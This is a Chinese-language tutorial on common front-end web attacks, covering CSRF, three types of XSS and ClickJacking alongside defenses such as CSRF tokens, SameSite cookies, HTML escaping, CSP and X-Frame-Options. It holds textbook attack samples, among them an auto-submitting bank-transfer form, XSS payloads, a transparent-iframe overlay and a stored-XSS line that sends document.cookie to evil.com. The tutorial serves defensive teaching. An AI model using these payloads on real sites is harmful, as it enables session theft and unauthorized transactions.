一文弄懂前端常见的安全问题
本文涉及的常见的 Web 安全问题主要包括以下几种。为了便于记忆,我们先用一句话快速总结这些攻击方式的本质:
-
CSRF(跨站请求伪造)
攻击者诱导用户在已登录状态下,向目标网站发起非本意的请求,执行敏感操作。
-
XSS(跨站脚本攻击)
攻击者将恶意脚本注入到网页中,使浏览器在用户访问页面时执行这些脚本,常见类型包括:
- 反射型 XSS:恶意代码通过 URL 参数传入,并被页面原样返回执行。
- 存储型 XSS:恶意脚本被持久化存储(如数据库),对访问者反复生效。
- DOM 型 XSS:前端 JS 对 URL 等数据未做处理,直接插入页面中执行。
-
ClickJacking(点击劫持)
攻击者在恶意网页中嵌套一个透明的 iframe,诱使用户误点其上的按钮或链接,执行意想不到的操作。
💡 前置知识点
HTTP 请求的大致结构
理解 HTTP 请求的基本结构,有助于我们深入认识 Web 安全攻击是如何发生的——例如攻击者是如何伪造请求、浏览器又是如何在不经意间"自动"暴露用户身份信息的。同时,这也为我们后续讲解各种防护机制(如 CSRF Token、CSP、SameSite Cookie)提供了技术基础。
一次典型的 HTTP 请求主要由请求行、请求头、请求体三部分组成:
请求行(Request Line)
这是 HTTP 请求的第一行,包含三部分信息:
<请求方法> <请求路径> <协议版本>
例如:
GET /profile HTTP/1.1
GET
:表示请求方法,常见的还有POST
、PUT
、DELETE
等。/profile
:请求的资源路径,不包含域名。HTTP/1.1
:使用的协议版本。
请求方法决定了该请求的意图:
GET
:请求获取资源,不应有副作用(只读);POST
:提交数据,可能会修改服务器状态;PUT
/DELETE
:用于更新或删除资源,通常也带有副作用。
请求头(Headers)
请求头是一些键值对,携带客户端的元信息,用于描述请求上下文。比如浏览器类型、携带的 Cookie、请求来源等。
示例:
Host: bank.com
User-Agent: Mozilla/5.0
Cookie: session=abc123
Referer: https://bank.com/home
Origin: https://bank.com
Content-Type: application/json
常见请求头说明:
Header 字段 | 含义 |
---|---|
Host |
指定请求目标主机 |
User-Agent |
浏览器/设备信息 |
Cookie |
携带用户身份凭证,如 session ID |
Referer |
表示当前请求是从哪个页面跳转来的(完整 URL) |
Origin |
表示请求的源头(协议 + 域名 + 端口),主要用于安全校验 |
Content-Type |
请求体的数据格式,例如 application/json 、application/x-www-form-urlencoded |
💡 浏览器会在跨域请求、表单提交时自动附带一些头信息,如 Cookie、Referer、Origin,而这些正是许多攻击利用和防护的关键。
请求体(Body)
请求体用于携带客户端发送给服务器的数据,通常出现在 POST
、PUT
、PATCH
等方法中。
请求体可能包含:
- 表单数据(如
application/x-www-form-urlencoded
) - JSON 数据(如
application/json
) - 文件上传内容(如
multipart/form-data
)
示例:
{
"to": "attacker_account",
"amount": 10000
}
而 GET
请求一般不包含请求体,它的数据通常通过 URL 查询参数(如 /search?q=abc
)传递。
小结:一张图记住 HTTP 请求结构
请求结构大致如下:
请求行: GET /api/user HTTP/1.1
请求头: Host, Cookie, Origin, Referer, User-Agent, ...
请求体: {"data": "..."} (仅部分方法有)
掌握这些基础之后,我们就能更清晰地理解:**为什么浏览器"会带 Cookie"?为什么 Referer 和 Origin 可以校验请求来源?又为什么攻击者可以伪造请求但拿不到 CSRF Token?**这些问题的答案,正藏在这三部分结构中。
HTTP 响应的大致结构
每当浏览器向服务器发起 HTTP 请求,服务器会返回一个 HTTP 响应(Response)。它的结构也分为状态行、响应头、响应体三部分:
1⃣️状态行(Status Line)
第一行表示响应的状态,由三部分组成:
<HTTP版本> <状态码> <状态描述>
示例:
HTTP/1.1 200 OK
常见状态码如下:
状态码 | 含义 |
---|---|
200 | 请求成功 |
301/302 | 重定向 |
400 | 请求参数错误 |
401 | 未授权(需登录) |
403 | 被禁止访问 |
404 | 资源未找到 |
500 | 服务器内部错误 |
2️⃣ 响应头(Response Headers)
响应头是服务器告诉客户端一些"关于响应的元信息",比如响应格式、安全策略、是否可缓存等。
示例:
Content-Type: application/json
Set-Cookie: session=abc123; HttpOnly; SameSite=Lax
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'
常见响应头说明:
响应头字段 | 用途 |
---|---|
Content-Type |
响应体的数据类型(如 JSON、HTML) |
Set-Cookie |
设置浏览器的 Cookie(可配合 SameSite、HttpOnly、Secure 等属性) |
X-Frame-Options |
防止页面被嵌套,防御 ClickJacking |
Content-Security-Policy |
设置内容加载规则,限制脚本来源,防御 XSS |
Access-Control-Allow-Origin |
设置允许跨域的来源,用于 CORS |
Cache-Control |
控制资源是否可缓存 |
3️⃣ 响应体(Body)
响应体包含了实际返回的数据内容,比如:
- HTML 页面
- JSON 数据
- 图片、音频、文件等
示例:
{
"user": "Alice",
"balance": 10000
}
或:
<!DOCTYPE html>
<html>
<head><title>My Page</title></head>
<body>Hello, world!</body>
</html>
✅ 小结:HTTP 响应结构回顾
状态行: HTTP/1.1 200 OK
响应头: Content-Type, Set-Cookie, CSP, X-Frame-Options, ...
响应体: 实际内容,如 HTML、JSON、图片等
通过掌握响应结构,可以更好地理解:
- 浏览器是如何接收和展示网页内容的;
- 安全响应头是怎么协助防御攻击的;
- Cookie 是通过响应头
Set-Cookie
设置的,而非前端主动写入的; - CSP 和 X-Frame-Options 等防护策略,都是通过响应头下发并由浏览器执行的。
🔐 CSRF 原理与防护
示例:
假设某银行网站 bank.com
没有做 CSRF 防护。用户登录账户后,浏览器中会自动保存身份凭证(如 Cookie)。这时用户访问了攻击者的网页 http://attacker.com
,点击页面上的某个按钮时,触发如下恶意请求:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
<input type="submit">
</form>
<script>
document.forms[0].submit();
</script>
因为浏览器会自动附带 bank.com
的 Cookie,所以银行服务器会认为这个请求是用户主动发起的,从而执行转账操作。
原理:
CSRF 利用了以下事实:
- 用户已登录目标网站,浏览器中有合法 Cookie(如 session);
- 浏览器会在请求中自动附带这些 Cookie,无论请求是否是用户主动触发的;
- 目标网站未对请求来源进行校验(Referer / Origin / Token)。
也就是说,攻击者并不能"伪造你的 Cookie",但可以"借用你的浏览器"来发起请求。
防护手段:
-
CSRF Token(首选方式)
每次表单中附带一个不可预测的 Token,服务器在收到请求时校验是否一致,防止伪造。
-
SameSite Cookie 属性
通过设置 Cookie 的
SameSite=Strict
或Lax
,限制第三方网站发起请求时是否允许携带 Cookie。 -
校验 Referer / Origin 请求头
拒绝不来自本域的请求。例如:
if (req.headers.origin !== 'https://bank.com') { return res.status(403).end('CSRF blocked'); }
-
双因素确认机制
对敏感操作增加额外验证(如密码确认、短信验证码),增加攻击成本。
🔐 XSS 原理与防护
原理:
XSS(Cross-Site Scripting,跨站脚本攻击)本质上是攻击者将恶意的 JavaScript 代码注入到网页中,使其在其他用户的浏览器中执行。
攻击者的目标通常是:
- 窃取用户信息(如 Cookie、Token)
- 冒充用户进行操作
- 修改页面内容、诱导点击
- 植入钓鱼链接或挖矿脚本等
从攻击方式上看,XSS 可以分为三种类型:
反射型 XSS(Reflected XSS)
恶意脚本通过 URL 参数等方式传入,服务器在响应中直接"原样返回"这些参数,导致脚本在页面中执行。
示例:
用户访问链接:
https://example.com/search?q=<script>alert('XSS')</script>
服务器响应内容中直接插入了这个 q
参数:
<p>您搜索的是:<script>alert('XSS')</script></p>
⚠️ 页面中 script
被执行,弹窗出现,攻击成功。
存储型 XSS(Stored XSS)
攻击者将恶意脚本写入服务器数据库,如评论区、留言板等功能。其他用户访问时,页面会读取这些内容并执行脚本。
示例:
攻击者在评论区发布:
<script>fetch('http://evil.com?cookie=' + document.cookie)</script>
其他用户浏览评论时,这段脚本会在浏览器中执行,攻击者获取了受害者的 Cookie。
DOM 型 XSS(DOM-based XSS)
攻击不依赖服务器响应,而是前端 JS 在处理用户输入时未做过滤/编码,将恶意内容插入到页面中。
示例:
// 不安全的方式读取 URL 参数并插入页面
const query = location.search.slice(3);
document.body.innerHTML = `<div>${query}</div>`;
如果访问链接是:
https://example.com/?q=<img src=x onerror=alert(1)>
会造成 DOM 中插入恶意元素并触发脚本。
防护措施
XSS 攻击主要是由于"信任了用户输入",所以防护的关键就是过滤、转义、隔离执行环境。
核心防护策略:
- 对用户输入进行 HTML 转义(Encode/Escape)
不信任用户输入,尤其是在页面中渲染时,必须转义特殊字符(如 < > " ' &
)。
前端常用的处理方法:
function escapeHTML(str: string) {
return str.replace(/[&<>"']/g, c => ({
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
}[c]!);
}
- 在输出前端模板时使用安全模板引擎
如 React 默认就会对插值内容做 HTML 转义:
<div>{userInput}</div> // 是安全的
但注意:
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // 不安全!
- 设置 HTTP 响应头,防止脚本执行
Content-Security-Policy (CSP)
:限制哪些脚本可以加载和执行
Content-Security-Policy: default-src 'self'; script-src 'self'
- 避免在页面中拼接 HTML
尽量使用 DOM API 操作节点,而非 innerHTML
:
// ✅ 安全方式
const el = document.createElement("div");
el.textContent = userInput;
container.appendChild(el);
- 输入校验 + 白名单过滤
如果某些字段只允许特定格式(如纯数字、纯文本等),可在输入阶段就做校验。
🧠 小结:
类型 | 攻击路径 | 防护重点 |
---|---|---|
反射型 XSS | URL 参数 → 页面响应 | 后端输出前进行转义 |
存储型 XSS | 用户提交 → 数据库存储 → 页面展示 | 后端存前转义/展示前转义 |
DOM 型 XSS | 用户输入 → JS 操作 DOM | 前端不要拼接 innerHTML |
ClickJacking 原理与防护
原理:
ClickJacking(点击劫持)是一种视觉欺骗类攻击,攻击者通过在自己网页中嵌套一个透明的 iframe,覆盖在用户可见的按钮或链接上,诱使用户在毫不知情的情况下点击目标网站的敏感操作按钮。
简单说就是:你以为点的是"播放视频",其实点的是"转账"按钮。
示例:
攻击者网页代码如下:
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 500px;
height: 500px;
opacity: 0;
z-index: 10;
}
button {
position: relative;
z-index: 5;
}
</style>
<iframe src="https://bank.com/transfer" ></iframe>
<button>点我领取福利</button>
用户以为点的是"领取福利"按钮,实则点击了下方透明的 iframe
中的转账按钮,造成操作被劫持。
成功攻击的前提:
- 目标网站可以被嵌入到 iframe 中。
- 用户在目标网站中保持登录状态。
- 嵌套页面中存在可点击的重要按钮。
防护措施
ClickJacking 攻击主要通过嵌套 iframe 实现,因此防御的核心策略就是:
防止网页被嵌套在 iframe 中。
推荐的防护方法:
- 设置 HTTP 响应头:X-Frame-Options(老方法)
X-Frame-Options: DENY
或
X-Frame-Options: SAMEORIGIN
DENY
:完全禁止被嵌入 iframe。SAMEORIGIN
:只允许来自同域名下的页面嵌套。
⚠️ 注意:该方法已被 CSP 替代,但仍被很多浏览器支持。
- 使用 Content-Security-Policy (CSP) 头:更现代的方式
Content-Security-Policy: frame-ancestors 'none';
或者只允许同源:
Content-Security-Policy: frame-ancestors 'self';
这个配置更灵活,可控制嵌套来源。
- 前端 JavaScript 检测(增强型)
if (window.top !== window.self) {
// 当前页面被嵌套在 iframe 中
window.top.location = window.self.location;
}
⚠️ 缺点是可以被禁用 JS 绕过,建议只作为辅助手段。
- 重要按钮增加二次确认
比如敏感操作按钮加一层弹窗确认,可以提高攻击难度:
<button onclick="confirm('确定要执行操作吗?') && doTransfer()">转账</button>
🧠 小结:
防护方式 | 说明 | 适用性 |
---|---|---|
X-Frame-Options |
老牌方法,兼容性好 | 推荐 |
Content-Security-Policy |
更现代、更灵活的 iframe 控制方式 | 强烈推荐 |
前端检测 window.top !== self |
简单检测是否被嵌套 | 可作为补充 |
二次确认按钮 / 弹窗 | 提高操作门槛 | 可选 |
ClickJacking 看起来不如 XSS 和 CSRF 高级,但因为它利用了人的直觉误判,特别适合配合社交工程攻击,一旦用于控制账户、发起交易、授权签名等行为,后果极其严重。
🧩 总结
在现代 Web 应用中,安全性是不可忽视的核心环节。本文介绍了三种高频 Web 安全攻击方式:CSRF、XSS 和 ClickJacking,它们各有不同的攻击方式与防御重点,但共同点在于——它们都试图利用用户或浏览器的"信任"来执行恶意行为。
📌 三大攻击类型总结
攻击类型 | 攻击目的 | 攻击方式简述 | 防护核心 |
---|---|---|---|
CSRF | 冒充用户发起操作 | 利用浏览器自动带 Cookie,诱导用户请求目标网站 | 校验 CSRF Token / 设置 SameSite Cookie / 检查 Referer |
XSS | 执行恶意脚本,窃取数据或操控页面 | 注入 JS 脚本,骗取用户信息或控制页面行为 | 转义输出 / 使用 CSP / 避免拼接 HTML |
ClickJacking | 诱导用户点击隐藏操作 | 使用透明 iframe 将目标页面嵌入,诱导用户误操作 | 禁止 iframe 嵌套:X-Frame-Options / CSP / 前端检测 |
防护心法三句口诀:
- 对用户输入永远不信任 —— 所有输入都需要过滤或转义。
- 不让第三方站点代替用户发请求 —— 请求校验 Token,Cookie 限制来源。
- 不让别人嵌套我的网站做障眼法 —— 禁止 iframe 嵌套。
✅ 建议的安全实践 Checklist:
- 所有 POST 请求是否有 CSRF Token 校验?
- 是否设置了
SameSite
Cookie? - 是否对用户输入做了 HTML 转义?
- 是否使用了安全的模板引擎(如 React 默认转义)?
- 是否配置了
Content-Security-Policy
? - 是否设置了
X-Frame-Options
或 CSP 的frame-ancestors
? - 是否避免使用
innerHTML
、eval
等危险 API?
通过理解这些攻击的原理并采取对应的防护手段,你的网站将更难成为攻击者的目标。在 Web 安全的世界里,"默认安全"永远比"事后修复"更可靠。